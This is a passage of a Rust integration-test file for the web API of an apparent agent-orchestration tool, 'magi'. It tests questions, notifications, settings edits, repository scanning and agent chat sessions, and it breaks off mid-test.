8214 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8215 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8216
8217 std::fs::write(&toml, "").unwrap();
8218 let res = fx.post(&path, None).await;
8219 assert_eq!(res.status, 202, "{}", res.body);
8220 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8221 let q = fx.questions().get(&id).unwrap();
8222 assert!(q.status.open());
8223 assert!(q.answer.is_none());
8224 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8225 }
8226
8227 #[tokio::test]
8228 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8229 let fx = Fixture::start().await;
8230 let store = fx.questions();
8231 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8232 assert_eq!(
8233 fx.get("/api/health").await.json()["questions_needs_owner"],
8234 1
8235 );
8236
8237 let res = fx
8243 .post(
8244 &format!("/api/questions/{id}/say"),
8245 Some(r#"{"body":"why not Postgres?"}"#),
8246 )
8247 .await;
8248 assert_eq!(res.status, 200, "{}", res.body);
8249 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8250 assert_eq!(
8251 fx.get("/api/health").await.json()["questions_needs_owner"],
8252 0,
8253 "waiting on the agent is not waiting on the owner"
8254 );
8255
8256 let mut q = store.get(&id).expect("get");
8260 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8261 .expect("reply");
8262 store.put(&mut q).expect("put");
8263 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8264 assert_eq!(
8265 fx.get("/api/health").await.json()["questions_needs_owner"],
8266 1,
8267 "the agent's reply is what should light the banner back up"
8268 );
8269 }
8270
8271 #[tokio::test]
8272 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8273 let fx = Fixture::start().await;
8274 let store = fx.questions();
8275
8276 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8277 let res = fx
8278 .post(
8279 &format!("/api/questions/{empty_id}/say"),
8280 Some(r#"{"body":" "}"#),
8281 )
8282 .await;
8283 assert_eq!(res.status, 400, "{}", res.body);
8284
8285 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8286 let mut answered = store.get(&answered_id).expect("get");
8287 answered
8288 .answer(Answer::Choice("SQLite".to_owned()))
8289 .expect("answer");
8290 store.put(&mut answered).expect("put");
8291 let res = fx
8292 .post(
8293 &format!("/api/questions/{answered_id}/say"),
8294 Some(r#"{"body":"still there?"}"#),
8295 )
8296 .await;
8297 assert_eq!(res.status, 409, "{}", res.body);
8298
8299 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8300 let mut abandoned = store.get(&abandoned_id).expect("get");
8301 abandoned.abandon("timed out");
8302 store.put(&mut abandoned).expect("put");
8303 let res = fx
8304 .post(
8305 &format!("/api/questions/{abandoned_id}/say"),
8306 Some(r#"{"body":"still there?"}"#),
8307 )
8308 .await;
8309 assert_eq!(res.status, 409, "{}", res.body);
8310 }
8311
8312 #[tokio::test]
8313 async fn an_answer_the_question_does_not_offer_is_refused() {
8314 let fx = Fixture::start().await;
8315 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8316 let path = format!("/api/questions/{id}/answer");
8317
8318 for body in [
8319 r#"{"choice":"Postgres"}"#,
8320 r#"{"text":"whatever you think"}"#,
8321 r#"{"choice":"Redis","text":"both"}"#,
8322 r#"{}"#,
8323 ] {
8324 let res = fx.post(&path, Some(body)).await;
8325 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8326 assert!(res.json()["error"].is_string(), "{}", res.body);
8327 }
8328 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8330 }
8331
8332 #[tokio::test]
8333 async fn a_free_text_question_takes_text_and_not_a_choice() {
8334 let fx = Fixture::start().await;
8335 let id = ask(&fx, "What should the flag be called?", &[]);
8336 let path = format!("/api/questions/{id}/answer");
8337
8338 assert_eq!(
8339 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8340 400
8341 );
8342 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8343 assert_eq!(res.status, 200, "{}", res.body);
8344 assert_eq!(res.json()["answer"]["text"], "--json");
8345 }
8346
8347 #[tokio::test]
8348 async fn an_unknown_question_is_a_json_404() {
8349 let fx = Fixture::start().await;
8350 let res = fx
8351 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8352 .await;
8353 assert_eq!(res.status, 404, "{}", res.body);
8354 assert!(res.json()["error"].is_string());
8355 }
8356
8357 #[tokio::test]
8358 async fn notifications_list_read_dismiss_and_health_agree() {
8359 let fx = Fixture::start().await;
8360 let store = Notices::at(fx.home.path().join("notifications"));
8361 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8362 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8363
8364 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8365 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8366
8367 let health = fx.get("/api/health").await.json();
8368 assert_eq!(health["notifications_unread"], 2);
8369 assert_ne!(
8370 health["notifications_rev"], rev0,
8371 "the badge must move live"
8372 );
8373
8374 let listed = fx.get("/api/notifications").await.json();
8375 assert_eq!(listed["unread"], 2);
8376 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8377 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8378
8379 let read = fx
8380 .post(&format!("/api/notifications/{}/read", a.id), None)
8381 .await;
8382 assert_eq!(read.status, 200, "{}", read.body);
8383 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8384
8385 let gone = fx
8386 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8387 .await;
8388 assert_eq!(gone.status, 200, "{}", gone.body);
8389 let listed = fx.get("/api/notifications").await.json();
8390 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8391 assert_eq!(listed["unread"], 0);
8392
8393 store.raise(Notice::info("x", "again")).unwrap();
8394 let all = fx.post("/api/notifications/read-all", None).await;
8395 assert_eq!(all.status, 200, "{}", all.body);
8396 assert_eq!(all.json()["marked"], 1);
8397 assert_eq!(
8398 fx.get("/api/health").await.json()["notifications_unread"],
8399 0
8400 );
8401
8402 let missing = fx.post("/api/notifications/nope/read", None).await;
8403 assert_eq!(missing.status, 404, "{}", missing.body);
8404 assert!(missing.json()["error"].is_string());
8405 }
8406
8407 #[tokio::test]
8414 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8415 let f = Fixture::start().await;
8416
8417 let res = f
8418 .post(
8419 "/api/queue",
8420 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8421 )
8422 .await;
8423
8424 assert_eq!(
8425 res.status, 405,
8426 "POST /api/queue must not be a route: {}",
8427 res.body
8428 );
8429 assert!(
8430 f.queue().list().is_empty(),
8431 "a task filed by a route that does not exist must not reach the disk"
8432 );
8433 assert_eq!(f.get("/api/queue").await.status, 200);
8436 }
8437
8438 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8440 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8441 .expect("checkout dir");
8442 }
8443
8444 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8446
8447 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8448 let tmp = TempDir::new().expect("tempdir");
8449 let repo = tmp.path().join("repo");
8450 std::fs::create_dir_all(&repo).expect("repo dir");
8451 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8452 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8453 if let Some(text) = machine_toml {
8454 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8455 std::fs::write(&machine, text).expect("machine toml");
8456 }
8457 (tmp, repo, machine)
8458 }
8459
8460 #[tokio::test]
8461 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8462 let (_tmp, repo, machine) =
8463 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8464 let f = Fixture::with_repo_and_machine(repo, machine).await;
8465 let res = f.get("/api/settings").await;
8466 assert_eq!(res.status, 200, "{}", res.body);
8467 let v = res.json();
8468 assert!(v["error"].is_null(), "{v}");
8469 let role = |k: &str| {
8470 v["roles"]
8471 .as_array()
8472 .and_then(|r| r.iter().find(|x| x["key"] == k))
8473 .cloned()
8474 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8475 };
8476 assert_eq!(role("judges")["source"], "machine");
8477 assert_eq!(role("judges")["editable"], true);
8478 assert_eq!(role("implementers")["source"], "default");
8479 let adv = role("advisors");
8480 assert_eq!(adv["fallback"], "judges");
8481 assert!(
8482 adv["seats"]
8483 .as_array()
8484 .is_some_and(|s| s.iter().all(|x| x == "b")),
8485 "{adv}"
8486 );
8487 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8488 assert_eq!(v["agents"][0]["source"], "repo");
8489 }
8490
8491 #[tokio::test]
8492 async fn settings_get_reports_a_config_that_does_not_parse() {
8493 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8494 let f = Fixture::with_repo_and_machine(repo, machine).await;
8495 let res = f.get("/api/settings").await;
8496 assert_eq!(res.status, 200, "{}", res.body);
8497 let v = res.json();
8498 assert!(v["error"]["message"].is_string(), "{v}");
8499 assert!(
8500 v["error"]["path"]
8501 .as_str()
8502 .is_some_and(|p| p.ends_with("magi.toml")),
8503 "{v}"
8504 );
8505 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8506 }
8507
8508 #[tokio::test]
8509 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8510 let (_tmp, repo, machine) = settings_dirs(
8511 SETTINGS_AGENTS,
8512 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8513 );
8514 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8515 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8516 let rev = f.get("/api/settings").await.json()["revision"]
8517 .as_str()
8518 .expect("revision")
8519 .to_owned();
8520 let body = serde_json::json!({
8521 "revision": rev,
8522 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8523 })
8524 .to_string();
8525 let res = f.put("/api/settings/roles", &body).await;
8526 assert_eq!(res.status, 200, "{}", res.body);
8527 let text = std::fs::read_to_string(&machine).expect("machine");
8528 assert_eq!(
8529 text,
8530 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8531 );
8532 assert_eq!(
8533 std::fs::read(repo.join("magi.toml")).expect("read"),
8534 repo_before
8535 );
8536 let again = f.get("/api/settings").await.json();
8537 let judges = again["roles"]
8538 .as_array()
8539 .expect("roles")
8540 .iter()
8541 .find(|r| r["key"] == "judges")
8542 .expect("judges")
8543 .clone();
8544 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8545 let stale = f.put("/api/settings/roles", &body).await;
8547 assert_eq!(stale.status, 409, "{}", stale.body);
8548 }
8549
8550 #[tokio::test]
8551 async fn settings_counts_are_reported_and_saved() {
8552 let (_tmp, repo, machine) = settings_dirs(
8553 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8554 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8555 );
8556 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8557 let v = f.get("/api/settings").await.json();
8558 let count = |v: &serde_json::Value, k: &str| {
8559 v["roles"]
8560 .as_array()
8561 .and_then(|r| r.iter().find(|x| x["key"] == k))
8562 .map(|x| x["count"].clone())
8563 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8564 };
8565 let imp = count(&v, "implementers");
8566 assert_eq!(imp["value"], 2);
8567 assert_eq!(imp["source"], "machine");
8568 assert_eq!(imp["file_key"], "candidates");
8569 assert_eq!(imp["roster_len"], 2);
8570 assert_eq!(imp["backups"], 0);
8571 assert_eq!(count(&v, "judges")["source"], "default");
8572 assert_eq!(count(&v, "advisors")["min"], 0);
8573 assert_eq!(count(&v, "reviewers")["editable"], false);
8574 assert!(
8575 count(&v, "reviewers")["locked_reason"]
8576 .as_str()
8577 .is_some_and(|m| m.contains("graph.reviewers"))
8578 );
8579 assert!(count(&v, "fixer").is_null());
8580 let rev = v["revision"].as_str().expect("revision").to_owned();
8581 let body = serde_json::json!({
8582 "revision": rev,
8583 "roles": { "judges": ["b"] },
8584 "counts": { "implementers": 1, "advisors": 0 }
8585 })
8586 .to_string();
8587 let res = f.put("/api/settings/roles", &body).await;
8588 assert_eq!(res.status, 200, "{}", res.body);
8589 let text = std::fs::read_to_string(&machine).expect("machine");
8590 assert_eq!(
8591 text,
8592 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8593 );
8594 let after = f.get("/api/settings").await.json();
8595 assert_eq!(count(&after, "implementers")["value"], 1);
8596 assert_eq!(count(&after, "implementers")["backups"], 1);
8597 assert_eq!(count(&after, "advisors")["value"], 0);
8598 let before = std::fs::read_to_string(&machine).expect("machine");
8599 let rev = after["revision"].as_str().expect("revision").to_owned();
8600 for counts in [
8601 serde_json::json!({ "judges": 0 }),
8602 serde_json::json!({ "judges": "x" }),
8603 serde_json::json!({ "judges": 2.5 }),
8604 serde_json::json!({ "judges": -1 }),
8605 serde_json::json!({ "reviewers": 3 }),
8606 serde_json::json!({ "bogus": 3 }),
8607 ] {
8608 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8609 let res = f.put("/api/settings/roles", &body).await;
8610 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8611 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8612 }
8613 }
8614
8615 #[tokio::test]
8616 async fn settings_put_refuses_without_touching_the_file() {
8617 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8618 let (_tmp, repo, machine) = settings_dirs(
8619 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8620 Some(machine_text),
8621 );
8622 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8623 let rev = f.get("/api/settings").await.json()["revision"]
8624 .as_str()
8625 .expect("revision")
8626 .to_owned();
8627 for roles in [
8628 serde_json::json!({ "judges": ["nope"] }),
8629 serde_json::json!({ "reviewers": ["b"] }),
8630 serde_json::json!({ "bogus": ["a"] }),
8631 ] {
8632 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8633 let res = f.put("/api/settings/roles", &body).await;
8634 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8635 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8636 assert_eq!(
8637 std::fs::read_to_string(&machine).expect("machine"),
8638 machine_text
8639 );
8640 }
8641 }
8642
8643 #[tokio::test]
8644 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8645 let tmp = TempDir::new().expect("tempdir");
8646 let repo = tmp.path().join("repo");
8647 std::fs::create_dir_all(&repo).expect("repo dir");
8648 let root = tmp.path().join("root");
8649 make_checkout(&root, "github.com", "yukimemi", "magi");
8650 std::fs::write(
8651 repo.join("magi.toml"),
8652 format!(
8653 "[repos]\nroots = [{:?}]\n",
8654 root.to_string_lossy().into_owned()
8655 ),
8656 )
8657 .expect("write magi.toml");
8658
8659 let f = Fixture::with_repo(repo).await;
8660 let res = f.get("/api/repos").await;
8661 assert_eq!(res.status, 200, "{}", res.body);
8662 let list = res.json();
8663 let repos = list.as_array().expect("an array");
8664 assert_eq!(repos.len(), 1);
8665 assert_eq!(repos[0]["name"], "yukimemi/magi");
8666 assert!(
8667 repos[0]["path"]
8668 .as_str()
8669 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8670 "{list}"
8671 );
8672 }
8673
8674 #[tokio::test]
8675 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8676 let tmp = TempDir::new().expect("tempdir");
8677 let repo = tmp.path().join("repo");
8678 std::fs::create_dir_all(&repo).expect("repo dir");
8679 let root = tmp.path().join("root");
8680 make_checkout(&root, "github.com", "yukimemi", "magi");
8681 std::fs::write(
8682 repo.join("magi.toml"),
8683 format!(
8684 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8685 root.to_string_lossy().into_owned()
8686 ),
8687 )
8688 .expect("write magi.toml");
8689
8690 let f = Fixture::with_repo(repo).await;
8691 let first = f.get("/api/repos").await;
8692 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8693
8694 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8697 let second = f.get("/api/repos").await;
8698 assert_eq!(
8699 second.json().as_array().map(Vec::len),
8700 Some(1),
8701 "a fresh cache must not rescan inside the TTL"
8702 );
8703
8704 let refreshed = f.get("/api/repos?refresh=1").await;
8705 assert_eq!(
8706 refreshed.json().as_array().map(Vec::len),
8707 Some(2),
8708 "an explicit refresh must rescan even inside the TTL"
8709 );
8710 }
8711
8712 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8718
8719 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8723 let tmp = TempDir::new().expect("tempdir");
8724 let repo = tmp.path().join("repo");
8725 std::fs::create_dir_all(&repo).expect("repo dir");
8726 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8727 let f = Fixture::with_repo(repo.clone()).await;
8728 (tmp, repo, f)
8729 }
8730
8731 #[tokio::test]
8732 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8733 let (_tmp, _repo, f) = talk_fixture().await;
8734
8735 let opened = f.post("/api/talks", None).await;
8738 assert_eq!(opened.status, 201, "{}", opened.body);
8739 let body = opened.json();
8740 assert_eq!(body["status"], "open");
8741 assert_eq!(
8742 body["turns"].as_array().unwrap().len(),
8743 0,
8744 "opening takes no agent turn: there is nothing yet to answer"
8745 );
8746
8747 let also_opened = f.post("/api/talks", Some("{}")).await;
8749 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8750
8751 let listed = f.get("/api/talks").await.json();
8752 assert_eq!(listed.as_array().unwrap().len(), 2);
8753 }
8754
8755 #[tokio::test]
8756 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8757 let tmp = TempDir::new().expect("tempdir");
8758 let repo = tmp.path().join("repo");
8759 std::fs::create_dir_all(&repo).expect("repo dir");
8760 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8761 std::fs::write(
8762 repo.join("magi.toml"),
8763 format!("{MOCK_AGENT_TOML}\n{second}"),
8764 )
8765 .expect("write magi.toml");
8766 let home = TempDir::new().expect("temp home");
8767 let talks = Talks::at(home.path().join("talks"));
8768 let ui = Arc::new(
8769 Ui::new(
8770 Queue::at(home.path().join("queue")),
8771 Questions::at(home.path().join("questions")),
8772 talks.clone(),
8773 home.path().join("runs"),
8774 home.path().to_path_buf(),
8775 repo.clone(),
8776 )
8777 .with_worktrees_root(home.path().join("wt")),
8778 );
8779 let cfg = config_for(&repo).await.expect("discover config");
8780 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8781 let id = talk.id.clone();
8782 let call = |agent: &str| {
8783 talk_agent(
8784 State(Arc::clone(&ui)),
8785 Path(id.clone()),
8786 Json(TalkAgent {
8787 agent: agent.to_owned(),
8788 }),
8789 )
8790 };
8791
8792 let unknown = call("nobody").await.expect_err("unknown agent");
8793 assert_eq!(
8794 unknown.status,
8795 StatusCode::BAD_REQUEST,
8796 "{}",
8797 unknown.message
8798 );
8799
8800 {
8801 let mut claimed = None;
8804 for _ in 0..200 {
8805 claimed = ui.begin_talk_turn(&id).expect("claim");
8806 if claimed.is_some() {
8807 break;
8808 }
8809 tokio::time::sleep(Duration::from_millis(10)).await;
8810 }
8811 let _busy = claimed.expect("free");
8812 let busy = call("second").await.expect_err("busy talk");
8813 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8814 }
8815 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8816
8817 let Json(view) = call("second").await.expect("switch");
8818 assert_eq!(view.talk.agent, "second");
8819 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8820 let saved = talks.get(&id).expect("reload");
8821 assert_eq!(saved.agent, "second");
8822 assert_eq!(saved.turns.len(), 1);
8823
8824 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8825 .await
8826 .expect("detail");
8827 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8828 assert_eq!(roster, ["mock", "second"]);
8829
8830 let mut closed = talks.get(&id).expect("reload");
8831 talk::close(&mut closed, &talks).expect("close");
8832 let refused = call("mock").await.expect_err("closed talk");
8833 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8834 }
8835
8836 #[tokio::test]
8837 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
8838 let tmp = TempDir::new().expect("tempdir");
8839 let repo = tmp.path().join("repo");
8840 std::fs::create_dir_all(&repo).expect("repo dir");
8841 std::fs::write(
8842 repo.join("magi.toml"),
8843 format!(
8844 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
8845 ),
8846 )
8847 .expect("write magi.toml");
8848 let home = TempDir::new().expect("temp home");
8849 let talks = Talks::at(home.path().join("talks"));
8850 let ui = Arc::new(
8851 Ui::new(
8852 Queue::at(home.path().join("queue")),
8853 Questions::at(home.path().join("questions")),
8854 talks.clone(),
8855 home.path().join("runs"),
8856 home.path().to_path_buf(),
8857 repo.clone(),
8858 )
8859 .with_worktrees_root(home.path().join("wt")),
8860 );
8861 let cfg = config_for(&repo).await.expect("discover config");
8862 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8863 let id = talk.id.clone();
8864 let call = |persona: &str| {
8865 talk_persona(
8866 State(Arc::clone(&ui)),
8867 Path(id.clone()),
8868 Json(TalkPersona {
8869 persona: persona.to_owned(),
8870 }),
8871 )
8872 };
8873
8874 let unknown = call("nobody").await.expect_err("unknown persona");
8875 assert_eq!(
8876 unknown.status,
8877 StatusCode::BAD_REQUEST,
8878 "{}",
8879 unknown.message
8880 );
8881
8882 {
8883 let mut claimed = None;
8884 for _ in 0..200 {
8885 claimed = ui.begin_talk_turn(&id).expect("claim");
8886 if claimed.is_some() {
8887 break;
8888 }
8889 tokio::time::sleep(Duration::from_millis(10)).await;
8890 }
8891 let _busy = claimed.expect("free");
8892 let busy = call("rei").await.expect_err("busy talk");
8893 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8894 }
8895 assert_eq!(talks.get(&id).expect("reload").persona, "");
8896
8897 let Json(view) = call("gendo").await.expect("switch to a configured persona");
8898 assert_eq!(view.talk.persona, "gendo");
8899 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
8900
8901 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8902 .await
8903 .expect("detail");
8904 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
8905 assert_eq!(ids.first(), Some(&"default"));
8906 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
8907
8908 let Json(view) = call("default").await.expect("back to default");
8909 assert_eq!(view.talk.persona, "");
8910
8911 let mut closed = talks.get(&id).expect("reload");
8912 talk::close(&mut closed, &talks).expect("close");
8913 let refused = call("rei").await.expect_err("closed talk");
8914 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8915 }
8916
8917 #[tokio::test]
8918 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8919 let f = Fixture::start().await;
8920 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8921 let queue = f.queue();
8922 let mut mine = Task::new(
8923 "rename the loader".to_owned(),
8924 "rename the loader".to_owned(),
8925 PathBuf::from("/repo/magi"),
8926 Source::Agent {
8927 run: talk_id.clone(),
8928 node: "chat".to_owned(),
8929 },
8930 );
8931 queue.put(&mut mine).expect("file the task");
8932 let mut theirs = Task::new(
8933 "unrelated".to_owned(),
8934 "unrelated".to_owned(),
8935 PathBuf::from("/repo/magi"),
8936 Source::Human,
8937 );
8938 queue.put(&mut theirs).expect("file the task");
8939
8940 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8941 assert_eq!(res.status, 200, "{}", res.body);
8942 let body = res.json();
8943 assert_eq!(
8944 body["status"], "open",
8945 "filing a task does not close a talk"
8946 );
8947 let tasks = body["tasks"].as_array().expect("tasks array");
8948 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8949 assert_eq!(tasks[0]["id"], mine.id);
8950 }
8951
8952 #[tokio::test]
8953 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8954 let (_tmp, _repo, f) = talk_fixture().await;
8955 let id = f.post("/api/talks", None).await.json()["id"]
8956 .as_str()
8957 .expect("id")
8958 .to_owned();
8959
8960 let res = f
8961 .post(
8962 &format!("/api/talks/{id}/say"),
8963 Some(r#"{"text":"what does the queue module do?"}"#),
8964 )
8965 .await;
8966 assert_eq!(res.status, 202, "{}", res.body);
8967 let queued = res.json();
8968 let turns = queued["turns"].as_array().expect("turns array");
8969 assert_eq!(
8970 turns.len(),
8971 1,
8972 "the answer reflects only what is on disk the instant it is sent, \
8973 before the agent's turn - which can run for the whole of \
8974 `[graph] timeout_talk` - has a chance to land: {queued}"
8975 );
8976 assert_eq!(turns[0]["who"], "operator");
8977 assert_eq!(turns[0]["body"], "what does the queue module do?");
8978 assert_eq!(
8979 queued["thinking"], true,
8980 "the accepted response exposes the background turn claim: {queued}"
8981 );
8982
8983 let mut turns_after = 1;
8984 for _ in 0..SETTLE_STEPS {
8985 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8986 turns_after = detail["turns"].as_array().expect("turns array").len();
8987 if turns_after == 2 {
8988 break;
8989 }
8990 tokio::time::sleep(Duration::from_millis(10)).await;
8991 }
8992 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8993 }
8994
8995 #[tokio::test]
9022 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9023 let tmp = TempDir::new().expect("tempdir");
9024 let repo = tmp.path().join("repo");
9025 std::fs::create_dir_all(&repo).expect("repo dir");
9026 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9027 let home = TempDir::new().expect("temp home");
9028 let talks = Talks::at(home.path().join("talks"));
9029 let ui = Arc::new(
9030 Ui::new(
9031 Queue::at(home.path().join("queue")),
9032 Questions::at(home.path().join("questions")),
9033 talks.clone(),
9034 home.path().join("runs"),
9035 home.path().to_path_buf(),
9036 repo.clone(),
9037 )
9038 .with_worktrees_root(home.path().join("wt")),
9039 );
9040 let cfg = config_for(&repo).await.expect("discover config");
9041
9042 for delay in 0..40u32 {
9043 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9044 let id = talk.id.clone();
9045
9046 let handler = tokio::spawn(talk_say(
9047 State(Arc::clone(&ui)),
9048 Path(id.clone()),
9049 Ok(Json(NewTalkTurn {
9050 text: "what does the queue module do?".to_owned(),
9051 attachments: Vec::new(),
9052 })),
9053 ));
9054 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9055 handler.abort();
9056 let _ = handler.await;
9059
9060 let mut turns = 0;
9061 for _ in 0..SETTLE_STEPS {
9062 if let Ok(fresh) = talks.get(&id) {
9063 turns = fresh.turns.len();
9064 if turns != 1 {
9065 break;
9066 }
9067 }
9068 tokio::time::sleep(Duration::from_millis(10)).await;
9069 }
9070 assert_ne!(
9071 turns, 1,
9072 "delay {delay}: talk {id} recorded the operator's turn but \
9073 the agent never answered - the reply task was never \
9074 started after the handler future was dropped"
9075 );
9076 }
9077 }
9078
9079 #[tokio::test]
9124 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9125 let tmp = TempDir::new().expect("tempdir");
9126 let repo = tmp.path().join("repo");
9127 std::fs::create_dir_all(&repo).expect("repo dir");
9128 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9129 let home = TempDir::new().expect("temp home");
9130 let talks = Talks::at(home.path().join("talks"));
9131 let ui = Arc::new(
9132 Ui::new(
9133 Queue::at(home.path().join("queue")),
9134 Questions::at(home.path().join("questions")),
9135 talks.clone(),
9136 home.path().join("runs"),
9137 home.path().to_path_buf(),
9138 repo.clone(),
9139 )
9140 .with_worktrees_root(home.path().join("wt")),
9141 );
9142 let cfg = config_for(&repo).await.expect("discover config");
9143
9144 for attempt in 0..3u32 {
9145 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9146 let id = talk.id.clone();
9147 let turn_guard = ui
9150 .begin_talk_turn(&id)
9151 .expect("claim the turn")
9152 .expect("a fresh talk owes nobody a turn");
9153
9154 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9155 let (release_tx, release_rx) = std::sync::mpsc::channel();
9156 ui.set_busy_queue_gate(BusyQueueGate {
9157 reached: reached_tx,
9158 release: release_rx,
9159 });
9160
9161 let handler = tokio::spawn(talk_say(
9162 State(Arc::clone(&ui)),
9163 Path(id.clone()),
9164 Ok(Json(NewTalkTurn {
9165 text: "what does the queue module do?".to_owned(),
9166 attachments: Vec::new(),
9167 })),
9168 ));
9169
9170 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9175 .await
9176 .unwrap_or_else(|_| {
